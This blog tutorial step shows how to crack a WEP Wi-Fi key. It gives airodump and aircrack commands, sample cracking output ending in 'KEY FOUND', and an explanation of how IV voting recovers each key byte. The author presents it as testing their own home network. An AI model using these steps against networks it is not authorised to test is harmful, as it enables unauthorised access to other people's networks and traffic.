5) Going in for the kill

 

So we now have a significant number of WEP packets and thus we can begin analysing the captured data. As a reminder we see the below in airodump (although the numbers are still moving):

BSSID                     PWR   Beacons  # Data        CH  MB  ENC   ESSID

00:A0:B0:40:5C:84  86      1101       36609         1    54  WEP   HOGE

BSSID                     STATION                 PWR     Packets  ESSID

00:A0:B0:40:5C:84  00:04:23:52:80:41   80        34110   HOGE

Note down the ESSID (HOGE), BSSID (00:A0:B0:40:5C:84) station (00:04:23:52:80:41). Leave airodump running and start a new shell (either click the icon showing a black screen again, or click the little sunshine icon in the bottom left of the current one to start one). Log in as root again (“su”) then “cd” to the place where you uncompressed aircrack to (e.g. “cd /home/user/aircrack-2.4.1/”). Type “ls” (that’s LS in lower case not 1s or Is) to see what files are in the directory. Should look something like:

ChangeLog

Makefile

README.html

aircrack

airdecap

aireplay

airmon.sh

airodump

arpforge

mergeivs

out-01.cap

out-01.txt

out-01.gps

out-02.ivs

out-02.txt

out-02.gps

Then start up aircrack by typing “./aircrack ath0 out-02.ivs”

*Note on file extensions: cap files are full capture files that include all of the network traffic downloaded by airodump if you run “airodump ath0 out 1″. They take up lots of space, but are needed for WPA auditing. 

ivs files are files that strip out everything except the data you need to break the encryption on a network (the Initialisation Vectors) from each packet. They are much smaller. For WEP cracking we only need the IVs so we should run “airodump ath0 out 1 1″. The second “1” specifies that we only want the ivs not the cap output.

gps and txt files should be ignored.

end of note on file extensions*

 If there are numbers higher than -02 then replace -02 with the highest number that showed up when you ran the “ls” command. The goal is to use the ivs file that we’re still downloading to in airodump so that we get an increasingly large number of packets to look at.

 Assuming that command runs ok, you will see something like the following:

aircrack 2.41

[00:00:25] Tested 2458 keys (got 925 IVs)

0      0/256     00( 0) 01( 0) 02( 0) 03( 0) 04( 0) 05( 0) 06( 0)

1     0/256     00( 0) 01( 0) 02( 0) 03( 0) 04( 0) 05( 0) 06( 0)

2      0/256     00( 0) 01( 0) 02( 0) 03( 0) 04( 0) 05( 0) 06( 0)

3      0/256     00( 0) 01( 0) 02( 0) 03( 0) 04( 0) 05( 0) 06( 0)

4      0/256     00( 0) 01( 0) 02( 0) 03( 0) 04( 0) 05( 0) 06( 0)

5      0/256     00( 0) 01( 0) 02( 0) 03( 0) 04( 0) 05( 0) 06( 0)

6      0/ 1       CB( 4) 00( 0) 01( 0) 02( 0) 03( 0) 04( 0) 05( 0)

7      0/256     00( 0) 01( 0) 02( 0) 03( 0) 04( 0) 05( 0) 06( 0)

8      0/256     00( 0) 01( 0) 02( 0) 03( 0) 04( 0) 05( 0) 06( 0)

9      0/ 1       63( 15) 07( 5) 34( 5) 92( 5) A0( 5) A9( 5) 00( 0)

10    2/255     02( 0) 03( 0) 04( 0) 05( 0) 06( 0) 07( 0) 08( 0)

11    188/255  BC( 0) BD( 0) BE( 0) BF( 0) C0( 0) C1( 0) C2( 0)

12    0/ 2       E4( 3) F2( 3) 00( 0) 01( 0) 02( 0) 03( 0) 04( 0)

 

So what’s going on? Well Aircrack is trying to guess the key based on the initialisation vectors it has captured. It takes this data, builds a ‘probability map’ for the key that gives the probabilities of each option for each byte of the key, and then tries the most likely key. If (when) this fails it tries the next ‘likely’ key and so on. For example, at KB 11 you will see we have no data so we have to try all 255 possibilities for the byte at this location in the key (and we have already tried 188 of them). For KB 9, however, we have a great deal of information (we have 63 votes for KB 9 = 63, and only 5 votes for the next best option, KB 9 = 07) so we will only try 63 (unless we tell Aircrack to increase the fudge factor – more on this later).As we spend more time trying to break the key, we are also simultaneously getting more data in the form of new IVs. After a while, therefore, we are likely to succeed and get a message like the below:  

aircrack 2.41

[00:00:02] Tested 132563 keys (got 703014 IVs)

KB depth byte(vote)

0 0/ 1 AC( 99) 61( 30) 00( 15) 30( 15) 7D( 15) 3B( 14) 49( 14)

1 0/ 1 D6( 60) FA( 26) 8B( 16) 6A( 15) 21( 13) EE( 12) 99( 11)

2 0/ 1 14( 69) BE( 15) 51( 10) B0( 5) F5( 3) 02( 0) 05( 0)

3 0/ 5 DD( 24) A5( 15) CE( 15) D7( 15) 58( 12) 31( 10) 97( 10)

KEY FOUND! [ AC:D6:14:DD:A9 ]

 

As you can see, we had many more votes for each of the correct bytes (KB 0 = AC: 99 votes; KB 1 = D6: 60 votes; etc) and this led to the successful discovery of the key (which you will notice does indeed start with AC D6). You will note that my key is only 5 bytes long (40 bits) – this is a particularly insecure home network! You can make yours much longer though and it would then require much more data collection to break within a reasonable period of time. 

Be Sociable, Share!
 Posted by at 10:37 pm

 Leave a Reply

(required)

(required)

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>